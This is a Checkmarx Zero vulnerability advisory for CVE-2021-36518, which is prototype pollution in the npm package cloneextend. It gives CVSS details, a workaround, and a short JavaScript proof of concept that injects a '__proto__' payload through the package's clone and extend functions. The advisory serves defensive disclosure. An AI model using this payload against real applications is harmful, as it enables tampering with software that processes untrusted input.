---
title: "CX-2021-4799"
date: "2021-06-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4799/"
---

# CX-2021-4799

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2021-36518  **Published:** Jun 28, 2021

5.6 Medium Severity npm PROTOTYPE-POLLUTION

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of cloneextend (npm) are vulnerable to prototype pollution via the clone and extend functions.

## Product

All versions of cloneextend npm package.

## Impact

If untrusted data reaches one of the affected functions, prototype pollution can be achieved. The impact will depend on the application.

## Steps to reproduce

```js
var ce = require('cloneextend');
ce.extend({},JSON.parse('{"__proto__":{"polluted":1}}'))
console.log({}.polluted)
>1

ce.clone(JSON.parse('{"__proto__":{"a":1}}'))
console.log({}.a)
>1
```

### Expected result:

1 will be printed to the console.

## Remediation

Currently no fix has been released. As a workaround, avoid passing untrusted inputs to the vulnerable functions.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [NPM Package](https://www.npmjs.com/package/cloneextend)

0  Medium Severity CVSS v3.1 Score

   5.6

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: High
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Disclosed Mar 24, 2021 Notified the maintainer

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)